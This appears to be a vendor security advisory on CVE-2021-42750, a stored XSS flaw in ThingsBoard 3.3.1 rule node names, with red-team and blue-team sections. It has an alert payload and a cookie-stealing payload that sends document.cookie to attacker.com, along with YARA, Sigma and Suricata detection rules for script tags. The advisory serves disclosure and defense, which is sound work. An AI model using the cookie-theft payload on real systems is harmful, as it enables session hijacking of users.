CVE-2021-42750

Executive Summary

CVE-2021-42750 is a stored cross-site scripting (XSS) vulnerability in ThingsBoard version 3.3.1, specifically within the Rule Engine component. An attacker with administrative access can inject arbitrary JavaScript into the title of a rule node. When a user hovers over the malicious node in the rule chain editor, the injected script executes in the context of the victim's browser. This can lead to session hijacking, data exfiltration, or further compromise of the ThingsBoard instance. The vulnerability has a public proof-of-concept (PoC) and is classified as a medium-severity issue due to the requirement of administrative privileges.

Supply Chain & Package Security

ThingsBoard is a Java-based open-source IoT platform distributed via GitHub releases and Docker images. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their ThingsBoard installation by checking checksums or using official Docker images. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin access
• User Interaction: Required (UI:R) – victim must hover over the node
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification capability
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the impact can be significant if an attacker gains admin access through other means (e.g., credential theft, social engineering).

Deep Dive & Mechanics

The vulnerability resides in the Rule Engine's node creation functionality. When an administrator creates a new rule node, the name field is not properly sanitized before being stored and later rendered in the web interface. The name is displayed as a tooltip when a user hovers over the node in the rule chain editor. If the name contains HTML/JavaScript, it is executed in the browser without proper encoding.

Root Cause: The application fails to sanitize user input in the name parameter of rule nodes. The stored value is later rendered in an HTML context (tooltip) without escaping, allowing script injection.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to "Rule chains" and creates a new rule node.
3. Sets the node name to a malicious payload, e.g., <script>alert('XSS')</script>.
4. Saves the node.
5. Any user (including other admins) who hovers over the node triggers the payload.

Impact: The attacker can execute arbitrary JavaScript in the context of the victim's session, potentially stealing cookies, performing actions on behalf of the victim, or defacing the interface.

Vulnerable vs. Patched Code

Vulnerable Code (ThingsBoard 3.3.1): The name field in the rule node creation endpoint is not sanitized. The stored value is rendered directly in the tooltip without escaping.

// Example vulnerable code (conceptual)
public class RuleNode {
    private String name;
    // getters and setters
}

// In the UI rendering (JavaScript/HTML)
// tooltip = node.name; // No escaping

Patched Code (Hypothetical): The patched version would sanitize the name field using an HTML encoder or escape function before rendering.

// Patched code (conceptual)
public class RuleNode {
    private String name;
    // getters and setters
}

// In the UI rendering (JavaScript/HTML)
// tooltip = escapeHtml(node.name); // Proper escaping

Note: As of the last update, no official patch has been released. Users should apply workarounds or upgrade to a newer version if available.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ThingsBoard 3.3.1 instance
• Administrative credentials

Exploit Steps:

1. Log in to ThingsBoard as an administrator.
2. Navigate to "Rule chains" → "Create new rule chain" (or edit an existing one).
3. Add a new rule node (any type).
4. In the "Name" field, enter the following payload:

   <script>alert('XSS')</script>
   

5. Save the node.
6. Hover over the node to trigger the XSS.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Full Exploit-DB Code:

# Exploit Title:  ThingsBoard 3.3.1 'name' - Stored Cross-Site Scripting (XSS)
# Date: 03/08/2022
# Exploit Author: Steffen Langenfeld & Sebastian Biehler
# Vendor Homepage: https://thingsboard.io/
# Software Link: https://github.com/thingsboard/thingsboard/releases/tag/v3.3.1
# Version: 3.3.1
# CVE : CVE-2021-42750
# Tested on: Linux

#Proof-Of-Concept:
When creating a rule node (any) and putting a script payload inside the name of the rule node, it is executed upon hovering above the node within the editor.

#Steps

1. Create a new rule node (via the menu "Rule chains")
2. Put a javascript payload within the name e.g <script>alert('XSS')</script>
3. Save the node
4. Upon hovering above the node within the editor the payload is executed

Blue Team

Detection:

• Monitor for unusual rule node names containing HTML/JavaScript characters (e.g., <, >, script).
• Review audit logs for rule node creation/modification events.
• Use web application firewalls (WAF) to block malicious payloads in the name parameter.

Mitigation:

• Restrict administrative access to trusted users only.
• Implement input validation and output encoding for all user-supplied data.
• Apply the principle of least privilege.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/ruleChain or /api/ruleNode with payloads containing <script> tags.
• Logs: Audit logs showing creation of rule nodes with suspicious names.
• File System: No specific file IOCs; the payload is stored in the database.
• Memory: JavaScript execution in the browser; no persistent memory artifacts.

Detection Engineering

YARA Rule

rule CVE_2021_42750_ThingsBoard_XSS {
    meta:
        description = "Detects stored XSS payload in ThingsBoard rule node names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-42750"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $rule_node_name = /"name"\s*:\s*"[^"]*<script[^>]*>/
    condition:
        $xss_payload or $rule_node_name
}

Sigma Rule

title: ThingsBoard Stored XSS in Rule Node Name
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of rule nodes with XSS payloads in the name field
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: thingsboard
detection:
    selection:
        event: "RULE_NODE_CREATED"
        name|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of HTML in node names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-42750 ThingsBoard Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/ruleNode"; http_uri;
    content:"name"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-42750;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version is available, upgrade immediately. Check the ThingsBoard GitHub releases for updates.
2. Input Validation: Implement server-side validation to reject rule node names containing HTML/JavaScript.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the UI.

Long-Term Measures:

• Enforce strict Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.
• Train administrators on secure configuration practices.

Workaround:

• Disable the rule chain editor for non-essential users.
• Manually review all rule node names for malicious content.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C29955FCA5D96A5973ECC6FD] */}